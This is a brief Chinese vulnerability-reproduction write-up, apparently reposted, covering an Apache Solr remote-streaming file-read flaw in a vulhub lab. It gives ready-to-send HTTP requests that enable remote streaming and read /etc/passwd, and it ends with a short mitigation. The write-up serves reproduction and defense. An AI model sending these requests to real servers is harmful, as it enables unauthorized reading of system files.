文章来源：Timeline Sec
Apache Solr <= 8.8.1
使用vulhub快速搭建
wget https://github.com/vulhub/vulhub/blob/master/solr/CVE-2019-17558/docker-compose.ymldocker-compose up -ddocker ps
1、获取core的信息：主要是name
http://xx.xx.xx.xx:8983/solr/admin/cores?indexInfo=false&wt=json2、根据name构造获取config的包
POST /solr/demo/config HTTP/1.1Host: 127.0.0.1:8983Content-Length: 80Connection: close{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
3、构造读取/etc/passwd的包
POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1Host: 127.0.0.1:8983Content-Length: 29Content-Type: application/x-www-form-urlencodedConnection: closestream.url=file:///etc/passwd
将Solr 端口仅对内网开放
参考链接：https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ
https://mp.weixin.qq.com/s/SFC8X7o2kfFASHmLeD3-UQ
https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-17558
推荐文章++++
*CVE-2021-3156：Linux sudo权限提升漏洞复现
文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650507737&idx=2&sn=f239f8abb3cf6058fb79fa2c01c788bd&chksm=83baec3db4cd652bd9ec16d40f7f3cc652611f1432ea233953a79eaa7689db35fede4805a94e#rd
如有侵权请联系:admin#unsafe.sh
如有侵权请联系:admin#unsafe.sh